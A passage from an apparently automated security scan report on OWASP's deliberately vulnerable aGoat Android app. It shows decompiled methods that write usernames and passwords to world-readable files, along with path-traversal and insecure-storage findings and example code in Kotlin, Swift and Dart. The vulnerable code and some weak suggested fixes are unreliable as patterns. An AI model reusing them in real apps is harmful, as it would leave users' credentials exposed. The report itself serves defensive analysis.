            String v5_5 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_5, password);
            v4_4.append(v5_5.getText().toString());
            v4_4.append(
);
            v3_1.write(v4_4.toString());
            v3_1.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (Exception v0_5) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data not saved), 1).show();
            v0_5.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        try {
            android.content.Context v2_0 = java.io.File.createTempFile(users, tmp, new java.io.File(this.this$0.getApplicationInfo().dataDir));
            v2_0.setReadable(1);
            v2_0.setWritable(1);
            CharSequence v3_1 = new java.io.FileWriter(v2_0);
            CharSequence v4_1 = new StringBuilder();
            v4_1.append(username is );
            String v5_1 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_1, username);
            v4_1.append(v5_1.getText().toString());
            v4_1.append(
);
            v3_1.write(v4_1.toString());
            CharSequence v4_4 = new StringBuilder();
            v4_4.append(password is );
            String v5_5 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_5, password);
            v4_4.append(v5_5.getText().toString());
            v4_4.append(
);
            v3_1.write(v4_4.toString());
            v3_1.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (Exception v0_5) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data not saved), 1).show();
            v0_5.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296300);
        ((android.widget.Button) this.findViewById(2131165210)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.<init>()` :

```
    InsecureStorageTempActivity$onCreate$1(owasp.sat.agoat.InsecureStorageTempActivity p1, android.widget.EditText p2, android.widget.EditText
p3)
    {
        this.this$0 = p1;
        this.$username = p2;
        this.$password = p3;
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296300);
        ((android.widget.Button) this.findViewById(2131165210)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296300);
        ((android.widget.Button) this.findViewById(2131165210)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

### Finding #4

Call to filesystem access method using path from input method. Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSQLiteActivity` found at `owasp.sat.agoat.InsecureStorageSQLiteActivity` . From parameter `0` to sink `android.database.sqlite.SQLiteDatabase owasp.sat.agoat.InsecureStorageSQLiteActivity.openOrCreateDatabase(java.lang.String, int, android.database.sqlite.SQLiteDatabase$CursorFactory)` . Taint trace:

```
at owasp.sat.agoat.InsecureStorageSQLiteActivity.openOrCreateDatabase()
at owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate()
at android.support.v7.app.AppCompatActivity.onCreate()
at owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate()
```

Method `owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        try {
            android.widget.Button v0_6 = this.openOrCreateDatabase(aGoat, 0, 0);
            this.mDB = v0_6;
        } catch (android.widget.Button v0_0) {
            android.widget.EditText v1_1 = new StringBuilder();
            v1_1.append(Error occurred while creating database: );
            v1_1.append(v0_0.getMessage());
            android.util.Log.e(Error:, v1_1.toString());
            this.setContentView(2131296299);
            ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
            return;
```

```
        }
        if (v0_6 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v0_6.execSQL(CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR));
        this.setContentView(2131296299);
        ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

Method `android.support.v7.app.AppCompatActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        android.support.v7.app.AppCompatDelegate v0 = this.getDelegate();
        v0.installViewFactory();
        v0.onCreate(p5);
        if ((v0.applyDayNight()) && (this.mThemeId != 0)) {
            if (android.os.Build$VERSION.SDK_INT < 23) {
                this.setTheme(this.mThemeId);
            } else {
                this.onApplyThemeResource(this.getTheme(), this.mThemeId, 0);
            }
        }
        super.onCreate(p5);
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        try {
            android.widget.Button v0_6 = this.openOrCreateDatabase(aGoat, 0, 0);
            this.mDB = v0_6;
        } catch (android.widget.Button v0_0) {
            android.widget.EditText v1_1 = new StringBuilder();
            v1_1.append(Error occurred while creating database: );
            v1_1.append(v0_0.getMessage());
            android.util.Log.e(Error:, v1_1.toString());
            this.setContentView(2131296299);
            ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
            return;
        }
        if (v0_6 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v0_6.execSQL(CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR));
        this.setContentView(2131296299);
        ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

## Recommendation

**Path containment:** Normalize the path and check whether it's contained within the destination directory or not.

DART

```
import 'package:file/local.dart';
import 'dart:io';
```

```
void main() {
  var fileSystem = LocalFileSystem();
  var currentDirectory = Directory.current.path;
  print(currentDirectory);
  var inputFile = File('$currentDirectory/../../passwords.txt');
  var outputFile = File('$currentDirectory/pass.txt');

  if (!isWithinDirectory(inputFile, currentDirectory) ||
      !isWithinDirectory(outputFile, currentDirectory)) {
    print("Invalid file path");
    return;
  }

  inputFile.copy(outputFile.path)
      .then((_) => print("File copied successfully"))
      .catchError((error) => print("Error: $error"));
}

bool isWithinDirectory(FileSystemEntity file, String directoryPath) {
  var fileDirectory = Directory(file.parent.path);
  var specifiedDirectory = Directory(directoryPath);
  return fileDirectory.path == specifiedDirectory.path ||
      fileDirectory.path.startsWith('${specifiedDirectory.path}${Platform.pathSeparator}');
}
```

SWIFT

```
 import Foundation

func readSensitiveFile(fileURL: URL) -> String? {
    let fileManager = FileManager.default

    // Check if the fileURL is within the allowed directory
    if fileURL.pathComponents.contains("path") && fileURL.pathComponents.contains("to") && fileURL.pathComponents.contains("user") {
        let fileContents = fileManager.contents(atPath: fileURL.path)
        return String(data: fileContents!, encoding: .utf8)
    }

    return nil
}

func main() {
    let userDirectory = FileManager.default.homeDirectoryForCurrentUser
    let userInput = "/path/to/user/input.txt"
    let fileURL = userDirectory.appendingPathComponent(userInput)

    if let contents = readSensitiveFile(fileURL: fileURL) {
        print("File contents: \(contents)")
    } else {
        print("Failed to read file.")
    }
}

main()
```

KOTLIN

```
 import java.io.File

fun readFile(filePath: String): String {
    val sanitizedFilePath = filePath.replace("..", "").replace("/", "")
    val file = File("/var/www/files/$sanitizedFilePath")
    return file.readText()
}

fun main() {
    println("Enter the file name:")
    val fileName = readLine()

    try {
        val content = fileName?.let { readFile(it) }
        println("File content: $content")
    } catch (e: Exception) {
```

```
        println("Error: ${e.message}")
    }
}
```

**Absolute Path Usage:** Prefer using absolute paths instead of relative paths whenever possible. By using absolute paths, the application explicitly specifies the exact location of the file or directory, leaving no room for interpretation.

DART

```dart
import 'dart:io';
import 'package:path/path.dart' as path;

void main() {
  final absolutePath = '/path/to/file.txt';
  var file = File(absolutePath);

  // print('File name: ${path.basename(dir.file.path)}');
  print('File name: ${path.basename(file.path)}');
}
```

SWIFT

```swift
import Foundation

func main() {
    let absolutePath = "/path/to/file.txt"
    let fileManager = FileManager.default

    if fileManager.fileExists(atPath: absolutePath) {
        // Perform operations on the file
        print("File exists at \(absolutePath)")
    } else {
        print("File not found at \(absolutePath)")
    }
}

main()
```

KOTLIN

```kotlin
import java.io.File

fun main() {
    val absolutePath = "/path/to/file.txt"
    val file = File(absolutePath)

    if (file.exists()) {
        // Perform operations on the file
        println("File exists at $absolutePath")
    } else {
        println("File not found at $absolutePath")
    }
}
```

### References

- Improper Limitation of a Pathname to a Restricted Directory

---

POTENTIALLY

## 39. Insecure Storage of Application Data

Insecure storage of application data allowing other apps to read it and/or tamper with it.

Insecure storage vulnerability in mobile applications refers to a security flaw where sensitive data, such as user credentials, personal information, or other confidential data, is stored on the device in world readable locations. This can leave the data vulnerable to unauthorized access by other applications on the device or by a malicious actor with physical access to the device.

Insecure storage does not only occur when the application writes to world-readable locations but also when the application loads data such as configuration files from world-writable locations where a malicious actor can alter the configuration files and consequently tamper with the functionality of the application.

KOTLIN

```
 import android.os.Bundle
import android.os.Environment
import android.widget.Button
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import java.io.File
import java.io.FileOutputStream
import java.io.IOException
import java.io.OutputStreamWriter

class MainActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        val loginButton: Button = findViewById(R.id.login_button)
        loginButton.setOnClickListener {
            // Dummy authentication process
            val token = authenticate("username", "password") // authentication logic

            // Store token in public storage
            storeTokenInPublicStorage(token)
        }
    }

    private fun storeTokenInPublicStorage(token: String) {
        val filePath = "/sdcard/insecure_app/jwt_config.txt"
        val file = File(filePath)
        try {
            val outputStreamWriter = OutputStreamWriter(FileOutputStream(file))
            outputStreamWriter.write(token)
            outputStreamWriter.close()
        } catch (e: IOException) {
            e.printStackTrace()
        }
    }
}
```

SWIFT

```
 import UIKit

class ViewController: UIViewController {

    override func viewDidLoad() {
        super.viewDidLoad()
        // Do any additional setup after loading the view.

        let loginButton = UIButton(type: .system)
        loginButton.setTitle("Login", for: .normal)
        loginButton.addTarget(self, action: #selector(loginButtonTapped), for: .touchUpInside)
        view.addSubview(loginButton)
        loginButton.translatesAutoresizingMaskIntoConstraints = false
        loginButton.centerXAnchor.constraint(equalTo: view.centerXAnchor).isActive = true
        loginButton.centerYAnchor.constraint(equalTo: view.centerYAnchor).isActive = true
    }

    @objc func loginButtonTapped() {
        // Dummy authentication process
        let token = authenticate(username: "username", password: "password")

        // Store token in public storage
        storeTokenInPublicStorage(token: token)
    }


    private func storeTokenInPublicStorage(token: String) {
        let filePath = "/var/mobile/Media/insecure_app/jwt_config.txt"
        let fileURL = URL(fileURLWithPath: filePath)
```

```
        do {
            try token.write(to: fileURL, atomically: true, encoding: .utf8)
            print("Token stored successfully.")
        } catch {
            print("Failed to write token: \(error)")
        }
    }
}
```

**<> FLUTTER**

```
import 'dart:io';
import 'package:flutter/material.dart';

void main() {
  runApp(MyApp());
}

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: MyHomePage(),
    );
  }
}

class MyHomePage extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text('Flutter Insecure Storage'),
      ),
      body: Center(
        child: ElevatedButton(
          onPressed: () {
            // Dummy authentication process
            String token = authenticate("username", "password");

            // Store token in public storage
            storeTokenInPublicStorage(token);
          },
          child: Text('Login'),
        ),
      ),
    );
  }

  void storeTokenInPublicStorage(String token) {
    final directory = Directory('/sdcard/insecure_app/');
    directory.createSync(recursive: true);
    final file = File('${directory.path}/jwt_config.txt');
    try {
      file.writeAsStringSync(token);
      print('Token stored successfully.');
    } catch (e) {
      print('Failed to write token: $e');
    }
  }
}
```

### Technical Details

#### Finding #1

Call to filesystem access method using path from external storage (e.i `getexternalstorage()` ) Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From source `java.io.File android.os.Environment.getExternalStorageDirectory()` to sink `void java.io.File.<init>(java.lang.String)` . Taint trace:

```
at java.io.File.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at java.io.File.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
```

```
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
```

```
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296296);
        ((android.widget.Button) this.findViewById(2131165201)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

### Finding #2

Call to filesystem access method using path from external storage (e.i `getexternalstorage()` ) Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From source `java.io.File android.os.Environment.getExternalStorageDirectory()` to sink `void java.io.File.<init>(java.lang.String)` . Taint trace:

```
at java.io.File.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at java.io.File.<init>()
```

```
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
```

```
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

### Finding #3

Call to filesystem access method using path from external storage (e.i `getexternalstorage()` ) Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From source `java.io.File android.os.Environment.getExternalStorageDirectory()` to sink `void java.io.File.<init>(java.lang.String)` . Taint trace:

```
at java.io.File.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
```

```
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296296);
        ((android.widget.Button) this.findViewById(2131165201)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
```

```
((android.widget.EditText) this.findViewById(2131165303))));
        return;
    }
```

### Finding #4

Call to filesystem access method using path from external storage (e.i `getexternalstorage()` ) Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From source `java.io.File android.os.Environment.getExternalStorageDirectory()` to sink `void java.io.File.<init>(java.lang.String)` . Taint trace:

```
at java.io.File.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
